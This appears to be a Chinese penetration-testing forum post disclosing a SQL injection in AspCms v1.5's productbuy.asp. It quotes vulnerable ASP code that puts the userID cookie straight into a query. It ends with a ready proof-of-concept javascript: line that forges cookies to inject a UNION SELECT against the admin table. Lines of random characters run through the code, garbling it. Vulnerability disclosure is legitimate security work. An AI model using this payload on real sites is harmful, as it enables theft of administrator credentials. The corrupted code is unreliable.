中国网络渗透测试联盟

标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

---

作者: admin    时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
, K# P. Z% q1 g8 n废话不多说，看代码：
$ s# i6 B% b* W, X' [+ P; j: |4 C* w
<%

3 w: I  B8 @* z* G, ^if action = "buy" then
+ y  J: Z8 R: S' @3 n' Y
# M) g& Q& c0 v+ P# p        addOrder()

7 ?) S2 l( h6 g) ?) J3 D$ delse

        echoContent()
7 R+ Q* D8 H/ h6 e" w6 ]$ X
6 ?0 ]) \5 n: C4 A: U: Y* Qend if



. o! d4 Y7 V* z8 s; t# e, _……略过
/ _. X* G: i( z% A1 f% o0 u7 S


Sub echoContent()
; T0 I4 v) w/ G8 _8 ?9 d
$ M, s9 ^  s9 U8 J7 Y! F' o0 K        dim id
/ A+ i5 |7 J% [8 \) |: O
; G3 O5 k% h( H  P        id=getForm("id","get")

        
  f2 a/ K4 }6 F7 U
# ]) G0 C/ j+ m3 j; q. u, S2 Y6 u        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

3 C  y% a- O5 u9 E8 R        

        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
) p4 o% V& ?0 o+ y0 t7 Q5 w
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
1 `. e( c" o) n$ j9 w! Y, ~- y
        Dim templatePath,tempStr

) Q; i% O; q4 i8 f, Z; u        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
3 R% O  g4 q5 q  |- U& O
1 a3 D: }# r6 Q/ F; [: n
7 L( i% f" x1 N  z
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

* _( v3 j, K6 i- A1 B        selectproduct=rsObj(0)

; V, z4 W! b; A/ _! u        

        Dim linkman,gender,phone,mobile,email,qq,address,postcode
; i6 l& y1 a, c- A2 |
) }* t5 i% _. L. a2 a$ [        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

( s3 \# k4 n) ~        if rCookie("loginstatus")=1 then  
# s) ^+ O% r! F  Y2 R+ s6 {
0 K% D, L& ], C. s5 X                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

                linkman=rsObj("truename")

                gender=rsObj("gender")

* u5 ~% V7 [: q0 l: K                phone=rsObj("phone")
0 L' v* v0 S7 S; x9 ]& M
                mobile=rsObj("mobile")

                email=rsObj("email")
8 n+ h9 s% _0 ]6 d
                qq=rsObj("qq")
  F. ^( H6 [3 W* h6 y
                address=rsObj("address")

                postcode=rsObj("postcode")
3 a8 ~- W- N8 {
" }) s8 u6 h. O  h4 N6 ^) b( P        else

                gender=1
; e* s. x9 ~% g- G  K8 W
' `. T# B9 Q/ U9 p. \0 o, {/ ~        end if

7 j% o/ o& S" P& U        rsObj.close()
  @( N+ V3 a$ E8 ^  }: d) M
               
: i. g, _% ~) P& W
        with templateObj
3 ~( j  F" k) |5 C5 a( ~2 M$ x! }
                .content=loadFile(templatePath)        
5 t  l5 U! W3 X1 m7 ]3 D8 q. w0 s
7 P, \2 ^: A. r7 A                .parseHtml()

                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

                .content=replaceStr(.content,"[aspcms:gender]",gender)               
- [( E" U8 a- L! ?8 x) Y0 F
4 @) }2 d; ?0 ~& B% v- S                .content=replaceStr(.content,"[aspcms:phone]",phone)               
+ n9 k  S( k" K" t) O
" Z1 @- `7 j( _$ C4 K                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
: X" @% z$ F: t2 a' m
0 b, \! X* }  l: I                .content=replaceStr(.content,"[aspcms:email]",email)                        
: W1 ^, g7 A$ Y3 ~9 L/ ^$ G
  {9 u) _; Y1 v( H4 ~9 x; o                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

7 k* j' R* W1 n! O7 g+ y                .content=replaceStr(.content,"[aspcms:address]",address)                        
5 l; F7 x! R8 \
9 P+ u. X, z5 |- n( ?9 S2 S" z5 I$ _                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

) n+ u" X) |3 a5 C                .parseCommon()                 
/ |2 I0 d- f. i$ |0 ~
                echo .content

        end with

        set templateobj =nothing : terminateAllObjects
2 v- B/ B5 l1 B1 K
0 s- h8 z4 c) V; K  ]6 d$ i! tEnd Sub
( v6 H$ Q& }" w$ F$ q漏洞很明显，没啥好说的
% B' Z3 L. V2 B+ f9 Ipoc：

# n7 i+ v9 F" Yjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
7 w1 w* \* }% l( ~

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2